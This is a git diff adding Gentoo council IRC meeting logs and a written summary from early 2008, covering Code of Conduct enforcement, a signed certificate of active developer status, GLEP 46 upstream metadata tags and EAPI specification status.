+[23:53:29] <@vapier> yeah
+[23:53:30] <@Betelgeuse> yeah two council members can make a decision
+[23:53:30] jokey looks at the clock
+[23:53:41] <jmbsvicetto> vapier: We have a rule that prevents maintainers from dropping arches. Shouldn't we give them the option to not support an arch (on extreme cases)?
+[23:53:48] <jakub> jokey: pffft, go open a beer ;P
+[23:54:00] <Philantrop> vapier: Agreed. But let's assume a maintainer would consider actively dropping even ~arch should a team keyword the package *he/she* has to maintain.
+[23:54:17] <@vapier> assume on the list
+[23:54:20] <@vapier> moving on
+[23:54:22] <@jokey> indeed
+[23:54:27] <Philantrop> vapier: ok
+[23:54:42] <@jokey> so CoC then and dberkholz' part :)
+[23:55:09] Pesa [n=Pesa@!halpha.tat.physik.uni-tuebingen.de] has left !c#gentoo-council
+[23:55:47] <@dberkholz> jokey: are those one and the same, or do i have another mystery part?
+[23:55:52] <@vapier> personally, i'd think more about simply abolishing devrel resolution/etc... as well as CoC and take a more simple approach: if you're an asshat, you get tossed
+[23:56:01] <@vapier> no drama
+[23:56:10] <@jokey> dberkholz: it's the same ;)
+[23:56:18] <@Betelgeuse> vapier: and who decides that?
+[23:56:22] <@vapier> if you cant play nice, we have a size 15 boot here for you
+[23:56:46] <@vapier> it should be pretty self evident
+[23:56:52] <@vapier> every issue that's come up so far has been
+[23:56:53] <fmccor> Betelgeuse, That's the quiestion, isn't it?
+[23:57:00] <@vapier> but i digress
+[23:57:08] <@vapier> go on with the CoC discussion
+[23:57:31] <@dberkholz> the concept's in the agenda, but i'll briefly summarize
+[23:58:06] <@dberkholz> where there are existing moderators, they will enforce the CoC themselves. other than that, the proposal would add mods to the -dev list and !c#-dev.
+[23:58:44] <@lu_zero> who exactly?
+[23:58:59] <@dberkholz> To Be Determined
+[23:59:16] <@dberkholz> personally, i think that we could use some mod action on the list far more than !c#-dev
+[23:59:31] <fmccor> Yes.
+[23:59:36] <@jokey> maybe I'm mistaken but if someone goes insane on !c#-dev, it's a default devrel case, isn't it? and for immediate action, you can always give people a nice and warm kick
+[0:00:23] <@dberkholz> jokey: that depends. do you want to wait 2 months for a trial?
+[0:00:53] <TFKyle> vapier: would that be permanent or? (I assume by "tossed" you mean banned by atleast the medium that you acted up on in some way - or is that just for devs and getting your devship revoked?)
+[0:01:10] <@jokey> we're all ops on !c#-dev so (theoretically) any dev can kick
+[0:01:10] Cardoe [n=cardoe@!hgentoo/developer/Cardoe] has quit IRC: "Leaving"
+[0:01:28] <@dberkholz> kicking an op doesn't get you very far.
+[0:02:38] <@jokey> ubuntu people solve it by sharing a management account for the chan among 4-5 people who can immediately modify the lists if really needed
+[0:02:42] <@dberkholz> the idea on irc would be to drop someone's level below autovoice for a day or whatever, then restore it.
+[0:03:02] <@amne> imho just because everyone has ops doesn't mean there cannot be that there are some people that go after people who are abusive
+[0:03:16] <@dberkholz> if said person is still nuts, kick 'em out as vapier said
+[0:03:20] <@amne> e.g. what jokey and dberkholz just said
+[0:03:24] <@amne> yeah
+[0:04:21] <@dberkholz> the kicking part, at this point, would be handed off to devrel
+[0:04:47] <@vapier> take some personal responsibility
+[0:04:48] <@dberkholz> we could argue over whether it should instead be decided by the council
+[0:04:51] <@vapier> if you cant, you will be warned
+[0:04:52] bheekling [n=bheeklin@!h202.3.77.38] has joined !c#gentoo-council
+[0:04:56] <@vapier> if you still cant, you get tossed
+[0:05:02] <@vapier> get your act together, come back later
+[0:05:10] <@vapier> dont get your act together, stop wasting our time
+[0:05:15] <@jokey> indeed, vapier, fully with you :)
+[0:05:39] <@vapier> but my dissertation on the subject is off-topic for this CoC stuff
+[0:06:07] <@jokey> main reason is the -dev ML anyway so we should really focus on that
+[0:06:19] <@dberkholz> vapier: nah, it's on topic
+[0:06:24] <@vapier> there should be no body here ... developers should be able to call out on any other developer instead of idling accepting it
+[0:06:40] <@vapier> err, "there should be no body here making the decision"
+[0:06:47] <@dberkholz> what, have a duel?
+[0:07:14] <@vapier> there is plenty of bad karma that goes down everywhere that onlookers just accept
+[0:07:30] <@jokey> welcome to the real world ;=)
+[0:07:33] <@vapier> i'm saying any moderation solution doesnt address the root of the problem
+[0:08:10] <@dberkholz> how do you propose to change the root of the problem?
+[0:08:36] <NeddySeagoon> vapier, Well, thats too many immature alpha males ... how do you fix that ?
+[0:08:53] <@vapier> we steal g2boojum's seed, combine it with the good traits from developers, and kill off the originals
+[0:09:48] <@dberkholz> i agree that we need to create a positive atmosphere. i think that moderators can be the first step in building a culture of intolerance toward assholes
+[0:10:08] <@dberkholz> once that culture exists, we won't need mods anymore
+[0:10:24] <@vapier> i'm looking long term
+[0:10:34] <@vapier> what needs to be decided today needs to be decided today
+[0:10:40] <@vapier> my thoughts dont really have bearing on it
+[0:10:46] fmccor suspects that no matter where you start with vapier's approach, you will end up with something like devrel.
+[0:11:09] <@vapier> no centralized body ... if you dont like the culture, fork your own
+[0:11:11] <@vapier> go write a blog
+[0:11:16] <@vapier> we dont care
+[0:12:44] <@vapier> but seriously, dberkholz wants a resolution here, so focus on that
+[0:13:20] <@amne> i think dberkholz' approach is good
+[0:14:19] <@jokey> if it doesn't work out, we can/have to try something else anyway but I'm all for trying it
+[0:14:25] <@amne> heh
+[0:15:13] <@dberkholz> how many people are for the idea, as it stands now?
+[0:15:51] <@amne> me
+[0:15:58] <@jokey> as in do we want to vote?;)
+[0:16:23] <@dberkholz> well, we don't really have enough details to finalize on, unless you'd just like to delegate further details to someone
+[0:16:47] <NeddySeagoon> I don't see the difference between the current proposal and the Proctors
+[0:17:37] <jmbsvicetto> NeddySeagoon: From previous discussions, it seems it will be an even smaller group and very close to the council
+[0:17:47] <@dberkholz> there are no pointless warnings, only actions.
+[0:18:15] <@dberkholz> there isn't going to be discussion about moderation on -dev, so people will have to actually make a little effort to whine about it.
+[0:18:15] <NeddySeagoon> dberkholz, Hmm ok
+[0:18:26] <@dberkholz> since -dev is now purely technical
+[0:20:07] <@dberkholz> i think getting bogged down into -dev threads with attempted warnings, responses, and so on was an approach the mods should never take
+[0:21:13] <@dberkholz> we're starting to rehash discussions we've already had
+[0:22:04] <@dberkholz> so, what i would like from council members is: do you like the idea, do you think it needs significant changes, or do you dislik eit
+[0:22:18] hkBst [n=hkBst@!hgentoo/developer/hkbst] has quit IRC: "Konversation terminated!"
+[0:22:46] <@dberkholz> if we can agree that the idea is the way to go, we can start focusing on the details instead of returning to the original idea all the time
+[0:23:06] <@lu_zero> I like the idea
+[0:24:40] jokey too
+[0:24:50] <@vapier> i'm with dberkholz
+[0:25:40] <@dberkholz> Betelgeuse, around?
+[0:25:50] <@Betelgeuse> dberkholz: yeah
+[0:26:04] <@Betelgeuse> dberkholz: you rule
+[0:26:22] <@dberkholz> good to hear. =)
+[0:26:47] <@dberkholz> alright. we're going to proceed with this idea. i'll try to get some concrete ideas out to the -council list this week
+[0:27:39] pchrist_ [n=tester@!h84.38.8.37] has joined !c#gentoo-council
+[0:28:03] <@dberkholz> anyone else got additional CoC points now?
+[0:29:10] <@dberkholz> ok, let's open the floor for any new topics
+[0:31:03] <@jokey> well we have one missing
+[0:31:12] <@jokey> Document of being an active developer
+[0:31:16] Sweetshark [n=bjoern@!hd018195.adsl.hansenet.de] has joined !c#gentoo-council
+[0:31:21] <@jokey> s/missing/left/
+[0:31:43] <@vapier> i think that's something we could do with infra
+[0:31:53] <@vapier> have it be something you need to log into dev.g.o
+[0:31:57] <@vapier> run a command
+[0:32:08] <@vapier> it generates a digitally signed document
+[0:32:18] <@vapier> the digital key is maintained by infra
+[0:32:41] <@vapier> therefore random devs cant generate documents and just change the names
+[0:33:06] <@vapier> have it auto-include information like date of joining
+[0:33:07] <@jokey> we could add that our userlist.xml can be used for reference if it is still accurate
+[0:33:12] <xjrn> is gentoo in a  position to broker liveId's?
+[0:33:42] <@vapier> jokey: right, now that the ldap and crap is integrated
+[0:33:45] <@vapier> use that as the backend
+[0:34:04] <@Betelgeuse> jokey: userinfo.xml is generated from LDAP
+[0:34:06] <@dberkholz> xjrn: is that different from openid?
+[0:34:55] <@jokey> Betelgeuse: that's my point, once you set it to retired, it's killed at max 60 minutes later on the website
+[0:35:02] <@dberkholz> araujo: could you just print off an "official" gentoo business card with your name on it, that perhaps only gentoo devs have access to
+[0:35:06] ferdy [n=ferdy@!hgentoo/developer/ferdy] has quit IRC: "[IRSSI] Tiger Woods uses Irssi. FORE!"
+[0:36:18] <@vapier> eh, no one accepts business cards as proof of anything
+[0:36:25] <@vapier> ive tried
+[0:36:43] araujo looks around
+[0:36:52] <xjrn> dberkholz: sorry openId
+[0:37:00] <araujo> dberkholz, you mean, to send it to every developer?
+[0:37:10] <@amne> sorry guys, i'm already falling asleep here, so i'll idle out
+[0:37:12] <@dberkholz> araujo: just have a template of some sort sitting on woodpecker
+[0:37:25] <@dberkholz> devs can grab it and do whatever they need
+[0:37:35] <@dberkholz> if not a business card, some other document
+[0:38:05] <araujo> dberkholz, ok , so we won't need a script for this?
+[0:38:29] <@dberkholz> araujo: that depends how provable your proof has to be. i haven't seen digitally signed things from any job i've ever had
+[0:39:02] <@dberkholz> what are the requirements?
+[0:39:42] <araujo> dberkholz, it doesn't need to be something that complex, only a document specifying for how long you have been a Gentoo devel, and if you are still active
+[0:40:11] <araujo> something that can 'officially' prove you are a developer
+[0:40:11] NeddySeagoon [n=NeddySea@!hgentoo/developer/NeddySeagoon] has quit IRC: "what, what, what, what, what, what, what, what, what, what.  Only 10 Watts Neddy ?  Thats not very bright!"
+[0:40:39] rbrown [n=rbrown@!hgentoo/developer/paludis.rbrown] has left !c#gentoo-council
+[0:40:39] <araujo> it'd be nice if it is digital signed too
+[0:40:46] <araujo> digitally*
+[0:40:48] <@dberkholz> if we just had a pretty little scribus document that looked pretty and called itself a certificate of some sort, that might be enough?
+[0:40:59] <araujo> dberkholz, yeah, pretty much
+[0:41:32] <@jokey> maybe stuff like you can get from SETI
+[0:41:40] <@jokey> "You have solved X workunits" ;)
+[0:42:33] <araujo> this is just a way so you can prove 'on paper' you are cooperating with the project
+[0:43:37] musikc [n=musikc@!hgentoo/developer/musikc] has quit IRC: Read error: 110 (Connection timed out)
+[0:43:48] <tsunam> I had created 2 forms of letterhead when seemant needed to do a thing for another developer
+[0:43:51] pchrist [n=tester@!hunaffiliated/pchrist] has quit IRC: Read error: 110 (Connection timed out)
+[0:43:55] <tsunam> recommendation
+[0:44:09] musikc [n=musikc@!hgentoo/developer/musikc] has joined !c#gentoo-council
+[0:44:14] <tsunam> not exactly what you're talking about but
+[0:44:50] <tsunam> A standard form letter would work
+[0:44:56] <tsunam> (well should)
+[0:45:15] <araujo> or the dberkholz's certificate idea too , both would make it
+[0:45:15] <@jokey> indeed
+[0:45:25] <@dberkholz> except someone would have to actually sign a standard form letter, requiring effort from other people
+[0:46:07] <tsunam> I hereby certify that under perjury of $court of law that Mr berkholz is a developer for the Gentoo Linux Foundation. Undersigned by Joshua Jackson Gentoo developer etc
+[0:46:17] <araujo> dberkholz, sign once and scan then? :-P
+[0:46:23] <tsunam> dberkholz: would it be hard to get someone to do that?
+[0:46:33] <@dberkholz> tsunam: depends whether 1 person or 300 request them
+[0:46:34] <tsunam> araujo: no one would want their signature scanned like that
+[0:46:56] <araujo> tsunam, well, if it is hand-written per letter, *much better*
+[0:46:57] <@dberkholz> you'd have to deal with other annoying stuff like postage etc
+[0:47:32] <@jokey> well we could make all council members capable of signing such letters
+[0:47:49] <@jokey> and you pick the closest on then
+[0:47:52] <araujo> indeed
+[0:47:55] <@dberkholz> we could email out signed emails
+[0:47:57] <@dberkholz> would that work?
+[0:48:08] <araujo> dberkholz, it would work from my point of view
+[0:48:14] <@jokey> not really, corporate stuff hardly works with gpg
+[0:48:31] <araujo> what if we have both options available?
+[0:48:39] <tsunam> I'm not sure how willing an email would be as proof even if its from an @gentoo account for proof...
+[0:48:40] <@dberkholz> it does in the US, there's the e-sign act that's legally replacing an ink signature. not sure about other places
+[0:49:03] <@jokey> dberkholz: in germany you have to acquire some X509 at least
+[0:49:12] <@jokey> plus it's not equal in all cases
+[0:49:53] <@dberkholz> i don't think we need something that will hold up to a court of law
+[0:50:25] <Philantrop> dberkholz: No, but an email doesn't look very professional which would be a problem over here, at least. :) Much more than the legal stuff.
+[0:51:15] <@dberkholz> Philantrop: <html><img src="fancygentoologo" /></html>
+[0:51:31] <araujo> if you can agree on sending this letter to the actual developer (costs paid by devel of course) would be way much better, it'd be valid in a wider range of situations
+[0:52:14] <@dberkholz> araujo: the costs would basically be a pint, if you ever happened to meet. nobody's going to ask you to send them that kind of money.
+[0:52:25] <araujo> dberkholz, ok
+[0:52:48] <@dberkholz> it just gets to be a problem if certain people end up sending out huge numbers to foreign countries
+[0:52:54] <@Betelgeuse> The post expenses are probably smaller thatn the international money transfer expenses
+[0:53:21] <@dberkholz> i would much rather have something where the person who wants it can do all the work
+[0:53:40] <@dberkholz> either manually filling stuff into scribus, or some autogenerated doc like vapier said
+[0:53:45] <araujo> dberkholz, that'd be ideal ...
+[0:53:56] <@vapier> i wonder if you can combine the two
+[0:54:03] <@dberkholz> probably, it's just xml
+[0:54:17] <@vapier> ah, was not aware
+[0:54:36] <@vapier> do we have any scribus to start with ?  or does someone need to start from scratch ?
+[0:54:57] <@dberkholz> find . -name '*.sla*'
+[0:56:09] <@vapier> araujo: you any good at scribus ? ;)
+[0:56:11] <Philantrop> dberkholz: I totally agree with that. The Scribus variant would be my personal favourite but an automated doc is fine, too. Just email is not ideal. :)
+[0:56:18] <@dberkholz> think there's some stuff floating around
+[0:56:23] <@dberkholz> i can do scribus
+[0:56:40] <@jokey> ack, scribus would look even nicer :)
+[0:56:46] <araujo> vapier, haha, not really, but i can help
+[0:57:00] <@vapier> so we'll follow up to the dev list
+[0:57:08] <@vapier> see if there are any quick takers
+[0:57:13] dberkholz notes his above comment
+[0:57:16] <@vapier> ive toyed with scribus and it doesnt seem terribly difficult
+[0:57:22] <@jokey> still at least I'm willing to offer hand-signed if developer who requests it pays shipping
+[0:57:24] araujo can help dberkholz 
+[0:57:37] <@vapier> dberkholz: well i was just trying to get the guy who wanted it to do it :)
+[0:57:38] <@dberkholz> aha, gentoo-projects/pr/ has some scribus stuff
+[0:57:49] <@vapier> scribus base + automated fill in + digital signing
+[0:57:52] <araujo> jokey, yes, I think it's good idea to offer 'both' ways
+[0:57:54] <@vapier> see if we cant get infra to do somethin
+[0:58:00] <@dberkholz> i can come up with a scribus template, araujo can deal with the rest
+[0:58:04] <tsunam> I'd probably say that quite a few developers wouldn't mind having something official that says "I worked on the project" to be honest
+[0:58:20] <@dberkholz> tsunam: perhaps we should start handing out little pins for years of service too =)
+[0:58:25] <xjrn> wow, seems like nukes and htmldoc could do the whole thing to validate an account has a status into a pdf mime/download ...
+[0:58:25] <tsunam> dberkholz: lol
+[0:58:38] <tsunam> dberkholz: now you're getting the idea ;)
+[0:58:45] <tsunam> dberkholz: gold watch after 25 years? :-P
+[0:58:51] <araujo> dberkholz, ok
+[0:58:56] <@dberkholz> something along those lines wouldn't be a bad idea, actually. i'll look into it.
+[0:59:06] <@dberkholz> not with actual expensive stuff, but at least personal emails
+[0:59:11] <araujo> so, any council member will be able to sign it?
+[0:59:27] jokey is for that
+[0:59:30] <@dberkholz> araujo: we'd probably just come up with a signing key that would autorun somewhere
+[0:59:31] <tsunam> I would say that the council would be the body that would be the best choice
+[0:59:59] <araujo> dberkholz, ok
+[1:00:00] <@dberkholz> perhaps get it signed by the releng key, unless there's a more master key around
+[1:00:24] <@jokey> could even generate a council key if needed
+[1:00:41] <@vapier> tsunam: you think we're made out of money ?
+[1:00:45] <@vapier> how about a pen
+[1:00:51] <@vapier> that's all i get at a real job
+[1:00:52] <tsunam> vapier: heh
+[1:00:55] <@vapier> a goddamn pen
+[1:01:03] <@vapier> oh and a pin
+[1:01:03] <tsunam> vapier: at least you get a pen...
+[1:01:17] <@jokey> "I've been with gentoo for 3 years and all I got is this damn T-Shirt" ;)
+[1:01:23] <araujo> hah
+[1:01:23] <@vapier> tsunam: you can have mine
+[1:01:26] <@dberkholz> how about fake glass jewels on your nametag. (nametag purchased separately)
+[1:01:38] lu_zero heads to bed
+[1:01:44] <@lu_zero> nite
+[1:01:48] <araujo> later lu_zero
+[1:01:55] <@dberkholz> jokey: yeah, it might not be a bad idea to come up with a master gentoo key if we end up having more than 1 purpose for it
+[1:02:11] <@dberkholz> one we could hide in a fireproof vault somewhere and only remove once a year
+[1:03:14] <@jokey> don't even need that... make it "Gentoo Council Signing Key 2007-2008" and invalidate when new council is approved
+[1:03:36] <@vapier> it sounds like a key for recruiters to maintain
+[1:03:43] <@vapier> they are the in/out gateway after all, not the council
+[1:04:10] <@Betelgeuse> vapier: in only
+[1:04:16] <@Betelgeuse> vapier: different team doing retirement
+[1:04:22] <@dberkholz> there's "undertakers" now
+[1:04:37] <@dberkholz> doesn't that cool name make you want to join?
+[1:04:58] <@jokey> want just one point agreed on explicitely: will council members be allowed to sign such documents on behalf of gentoo?
+[1:05:22] <@dberkholz> perhaps so, but they should somehow log their actions like that
+[1:05:25] <@vapier> infra then i guess since they are the real care takers of this information
+[1:05:36] <@vapier> recruiters/undertakers update the same db
+[1:05:51] <@vapier> it's a key signing fest
+[1:06:01] <tsunam> ultimately it needs to reside with someone...and as it appears there's not one group its perfect for...
+[1:06:06] <tsunam> who would actually accept the duty?
+[1:06:07] <@jokey> dberkholz: as in send a notification to council@?
+[1:06:13] <araujo> I guess you (the council) will have to track the signing of these documents?
+[1:06:35] <@dberkholz> jokey: or something else that people don't see unless they go looking for it, like a file in cvs
+[1:06:48] igli [n=igli@!hunaffiliated/igli] has left !c#gentoo-council: "Have a good one ;-)"
+[1:07:05] <@dberkholz> tsunam: it sounds like devrel in some way to me, wherever it falls in there
+[1:07:22] <@vapier> yeah
+[1:07:49] <tsunam> well that's 4 groups now, recruiters,hatchetmen (aka undertakers),council,devrel
+[1:08:12] <@dberkholz> recruiters+undertakers all fall into devrel. we could just hand it off to devrel lead to take from there
+[1:08:47] <@dberkholz> imagining devrel as a sort of HR dept, and council as executives, this seems like something that's clearly HR
+[1:08:48] <@vapier> yes
+[1:08:59] <tsunam> very valid point dberkholz
+[1:10:27] <@dberkholz> so, where to proceed from here
+[1:11:02] <@jokey> dberkholz: you and araujo looking into a scribus'ed template, devrel generating a signing key for these purposes?
+[1:11:44] <@dberkholz> musikc: around again?
+[1:13:28] <@jokey> could we agree on that plan and then close the meeting if there's nothing else? 1 a.m. here already ;)
+[1:13:54] <araujo> fine with me :-)
+[1:13:59] welp [n=welp@!hgentoo/developer/colchester-lug.member.welp] has quit IRC: Read error: 110 (Connection timed out)
+[1:14:22] <@dberkholz> jokey: sounds good
+[1:14:50] <@jokey> k' then
+[1:15:05] <@dberkholz> let's close up shop for this month
+[1:15:12] <@jokey> indeed
+[1:15:20] <@dberkholz> jokey: you're on summary/log committing and mailing duties
+[1:15:42] <@jokey> dberkholz: yup, written it already, can you quickly glance over it to spot potential typos? ;)
+[1:16:19] <araujo> dberkholz, brb in a few minutes, then I can look into this
+[1:16:43] <@dberkholz> jokey: could you try to add a one-line summary for each topic, right whether the topic name is. like GLEP 54: Postponed to -dev. etc..
+[1:17:10] <@dberkholz> s/compability/compatibility/
+[1:17:21] <@dberkholz> s/techincally/technically/
+[1:17:28] <@dberkholz> s/optionl/option/
+[1:17:46] <@dberkholz> s/compatibiliy/compatibility/
+[1:17:58] <@jokey> wondering if there are dicts installed on dev.g.o
+[1:18:17] <@dberkholz> could you note in CoC that i'll provide them on the -council mailing list
+[1:19:00] ulm [n=ulm@!hgentoo/developer/ulm] has left !c#gentoo-council: "ERC Version 5.2 (IRC client for Emacs)"
+[1:25:40] <@jokey> we're closed then. thanks for the discussion to everyone involved :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080214-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080214-summary.txt
new file mode 100644
index 00000000..4bd799e2
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080214-summary.txt
@@ -0,0 +1,126 @@
+Quick summary
+=============
+
+Code of Conduct enforcement
+---------------------------
+	Promote individual devs responding to people who are being jerks.
+	Keep responses private, unless that person gets out of hand.
+
+	dberkholz will get things going.
+	To help or get advice, contact him.
+
+GLEP 46: Allow upstream tags in metadata.xml
+--------------------------------------------
+	Approved, with a caveat:
+		Clarify reasoning for protocol restriction to http:// and https://
+
+EAPI=1: Where is the approved specification?
+--------------------------------------------
+	A long discussion was had about using EAPIs without a spec.
+
+	Halcy0n is getting the PMS ready for EAPI=0.
+	To help, contact him so we can get it done and approved ASAP.
+
+Roll call
+=========
+
+(here, proxy [by whom] or slacker?)
+
+amne        here
+betelgeuse  here, but 1h20m late of the 2h meeting [server problems]
+dberkholz   here
+flameeyes   here
+lu_zero	    here
+vapier      proxy [halcy0n]
+jokey       here
+
+Updates to last month's topics
+==============================
+
+	http://www.gentoo.org/proj/en/council/meeting-logs/20080110-summary.txt
+
+	Code of Conduct enforcement
+	---------------------------
+	Last month:
+		Council members agreed on the direction.
+
+		dberkholz will provide additional details on -council ML
+	Updates:
+		dberkholz posted a simple suggestion to -council last night:
+		http://archives.gentoo.org/gentoo-council/msg_ba125098c929ea31f34051dfb009d436.xml
+
+		The basic idea is to just promote individual devs responding to
+		people who are being jerks. Privately, unless things get out of hand.
+
+		Council supported the implementation.
+		dberkholz will get things going.
+
+	Document of being an active developer
+	-------------------------------------
+	Last month:
+		dberkholz and araujo will look into a scribus based template.
+
+		Devrel will have to generate a signing key for these purposes.
+	Updates:
+		araujo was working on a script to automatically insert data into XML
+		in scribus or inkscape formats. He said he would work on it
+		this weekend.
+
+		Template file on hold pending format decision from script
+
+		Any news from devrel on key? dberkholz pinged musikc for an update.
+
+	Slacker arches
+	--------------
+	Last month:
+		vapier will work on rich0's suggestion and repost it for 
+		discussion on -dev ML
+	Updates:
+		No changes.
+
+	GLEP 54: scm package version suffix
+	-----------------------------------
+	Last month:
+		Sent back to -dev. peper was to repost it.
+	Updates:
+		No discussion on -dev. No resubmission to council.
+
+	GLEP 55: Use EAPI-suffixed ebuilds (.ebuild-EAPI)
+	-------------------------------------------------
+	Last month:
+		Sent back to -dev
+	Updates:
+		No discussion on -dev. No resubmission to council.
+
+New topics
+==========
+
+GLEP 46: Allow upstream tags in metadata.xml
+--------------------------------------------
+	http://www.gentoo.org/proj/en/glep/glep-0046.html
+	http://archives.gentoo.org/gentoo-dev/msg_46d474d621455bc204654dc483e87cc5.xml
+
+	Approved, with a caveat
+		Questions were raised about requiring http:// and https:// only.
+		What about ftp:// ? What about no limitation, and requiring 
+		tools to throw out protocols they don't recognize?
+		Why is that restriction there?
+
+		Once those questions are resolved, it will be finalized.
+
+EAPI=1: Where is the approved specification?
+--------------------------------------------
+	http://archives.gentoo.org/gentoo-dev/msg_e1b4a369534e30b8a64c6c6429cfe729.xml
+
+	A long discussion was had about whether we should continue using 
+	EAPI=1 when we don't have EAPI=0 approved, reverting EAPI=1, and the 
+	value of specifications in producing quality code. People generally 
+	agreed about not adding any new EAPIs until the PMS for EAPI=0 is 
+	approved, but there wasn't agreement on changing anything about 
+	EAPI=1.
+
+	To make forward progress, Halcy0n agreed to work on getting the PMS 
+	ready for EAPI=0. He asked for anyone else interested to contact him 
+	so we can get it done and approved ASAP.
+
+	Halcy0n will give us an update at the next council meeting.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080214.txt b/xml/htdocs/proj/en/council/meeting-logs/20080214.txt
new file mode 100644
index 00000000..09fb276e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080214.txt
@@ -0,0 +1,454 @@
+20:00 < Flameeyes@> we're up in a minute
+20:00 <      amne@> wheeeeeee
+20:00 <    jeeves > dooooooork
+20:00 < Flameeyes@> actually, we're up, I think
+20:00 < Flameeyes@> jeeves, you act like a jerk ;)
+20:00 <   lu_zero@> hi
+20:00 <     jokey@> ho
+20:00 < Flameeyes@> roll-call!
+20:01 <      amne@> let's roll
+20:01 <   lu_zero@> seems to be the time now
+20:01 < Flameeyes@> amne, dberkholz, jokey, lu_zero, SpanKY, Betelgeus (e)?
+20:01  *  lu_zero rolls
+20:01 < dberkholz@> yep
+20:01 <     jokey@> yup
+20:01 < Flameeyes@> lu_zero, how many d20?
+20:01  *    jokey rolls as well
+20:01 <   lu_zero@> I'm cooking so I'll be here and there for the next 10 min
+20:01 <     jokey@> 18
+20:02 <   lu_zero@> time to have other people take care of the stuff
+20:02 < dberkholz@> Betelgeus, vapier, SpanKY: ping
+20:04  *  lu_zero is watching people cooking takoyaki while he is preparing some sort of soup and some venus rice is in the boiler
+20:04  *   araujo gets some tea
+20:05 < Flameeyes@> lu_zero, where on the world are you now?
+20:05 -!- rbrown [n=rbrown@gentoo/developer/paludis.rbrown] has joined #gentoo-council
+20:05 <      amne@> Flameeyes: i guess it's because of valentines day
+20:06 <    araujo > that's a good question .. don't you guys have a life?
+20:06 < dberkholz@> it's only noon here.
+20:06 < Flameeyes@> araujo, I think I do, but it's almost as good as new
+20:06  *   araujo thought he was the only one with no life
+20:06 < dberkholz@> this was a bad day to schedule a meeting. we should've moved it.
+20:07 <    araujo > yeah
+20:07 <      amne@> why that?
+20:08 <   lu_zero@> dberkholz right
+20:08 <    araujo > because it's valentines
+20:08 <    araujo > well, for those with a life
+20:08  *     amne has a life but valentine's day = no care :-P
+20:08 <   lu_zero@> ehm
+20:08 <   lu_zero@>  lupercalia you mean
+20:08 < dberkholz@> alright, let's give the slackers till :15 and then get rolling. go for a walk or something
+20:09 <      amne@> heh
+20:09  *   araujo walks in circle around the room
+20:09 < dberkholz@> that's about 5 minutes for the time-challenged
+20:09 <   Halcyon > Pretty sure vapier isn't going to make it, he told me he wasn't feeling well last night, so I am going to fill in for him.
+20:10  *  lu_zero gots some time to cook other weird stuff 
+20:10 < dberkholz@> Halcyon: i just want to check whether he actually asked you to proxy, or you're just offering to fill in now
+20:11 < dberkholz@> ok, just got some queried goodness from Halcyon 
+20:11 < dberkholz@> that leaves Betelgeus with 4 minutes to show up
+20:11 <   lu_zero@> ^^;
+20:12  *    jokey moves quickly upstairs
+20:12 <    araujo > well, we have 30 minutes yet
+20:12 <    araujo > enough time for lu_zero to prepare sushi for everyone here
+20:13 <   Halcyon > I already had sushi today...no more please.... :P
+20:13 <     jokey@> heh
+20:13 <     jokey@> sushi
+20:13 <     jokey@> mmmmm
+20:14  *   araujo should get some for dinner
+20:14 <    araujo > hiho jokey
+20:15 < dberkholz@> ok, let's get going.
+20:15 < dberkholz@> everyone's got the agenda?
+20:15 < dberkholz@> if not, it's in /topic
+20:15 <     jokey@> yup
+20:16 <    araujo > dberkholz, shouldn't we wait 30 more minutes?
+20:16 < dberkholz@> araujo: how long do you want to wait? it's not that hard for people to be on time, or even within 15 minutes of on time
+20:16 <   lu_zero@> I'd wait other 15 and then call the slackers
+20:16 <    araujo > just saying ... since it says is at 2000 UTC
+20:17 < dberkholz@> and it's 20:17 utc
+20:17 <      amne@> who's effectively missing now?
+20:17 < dberkholz@> Betelgeus
+20:17 <      amne@> well, i think that's enough people and if he shows up late that works for me too
+20:18 <      amne@> as long we don't have a vote where his voice is resolving a tie or something...
+20:18 < dberkholz@> it really shouldn't be that tough for people to show up on time or ask someone to proxy. this lack of respect for the rest of us is not acceptable
+20:18 <   lu_zero@> =/
+20:18 <     jokey@> just start
+20:18 <      amne@> yeah
+20:18 <   lu_zero@> dberkholz I could think about N situations that are cause of incidents
+20:18 <   lu_zero@> including network outage
+20:18 <   lu_zero@> anyway
+20:19 <   lu_zero@> let's go
+20:19 <    araujo > :-P
+20:19 <     jokey@> we have slacker marks damnit ;)
+20:19 < dberkholz@> first, progress on last meeting's topics
+20:19 < Flameeyes@> dberkholz, you sounded like Darth Vader, but keep on going :)
+20:20 < dberkholz@> only one with any discussion worth speaking of is the CoC thing, again.
+20:20 <   lu_zero@> sigh
+20:20 <   lu_zero@> fine with your latest idea
+20:21 <     jokey@> yup, that looked okay to me as well
+20:21 < dberkholz@> i'm going to just move on with making this happen. if it goes fine, no need to bother with anything further
+20:21 <      amne@> good
+20:21 <   Halcyon > Sounds like a plan.
+20:21 < Flameeyes@> nice to hear
+20:22 <     jokey@> dberkholz++
+20:22 <      amne@> if there's some place found, i'd be interested hanging out there a bit just to see what's going on and probably giving some advice if people want to hear it
+20:22 <      amne@> other than that i have not too much interest to get involved deeper though, nor the time
+20:23 < dberkholz@> various folks have brought up the idea of groups not working and such, so might just have some public IRC backchannel for discussing stuff before posting on -dev. not sure about that
+20:23 < dberkholz@> anyway, i think we're set on that point
+20:23 <      amne@> yeah
+20:25 < dberkholz@> nothing more to talk about in old topics
+20:25 < dberkholz@> in new topics, we've got glep 46
+20:25 < dberkholz@> i'll give ya a couple minutes to review it again
+20:26 <      amne@> is anyone from the glep folks around?
+20:26 < dberkholz@> do you have specific questions?
+20:27 <      amne@> yeah, 2 minor things
+20:29 < dberkholz@> vanquirius isn't on irc, dev-zero's idle 8 hours, ciaran's away
+20:29 <      amne@> well, actually it's just one thing:
+20:29 < dberkholz@> you'd think that people with an agenda item would attend the meeting
+20:29 <      amne@> changelog should contain a URL prefixed with http:// or https:// where the location of the upstream changelog can be found.
+20:30 <      amne@> same for doc - not really likely for most packages, but perhaps this should be extended for ftp://
+20:31 < dberkholz@> i'm curious why it needs to specify the allowed protocols
+20:31 <      amne@> there are some projects that only host on ftp, iirc vsftpd is one of them
+20:32 <      amne@> e.g. ftp://vsftpd.beasts.org/users/cevans/untar/vsftpd-2.0.6/Changelog, which is linked on http://vsftpd.beasts.org/
+20:32 <      amne@> dberkholz: following my thoughts further that leads to your question, yeah
+20:33 < Flameeyes@> dberkholz, I suppose for the software to be prepared to read that protocol
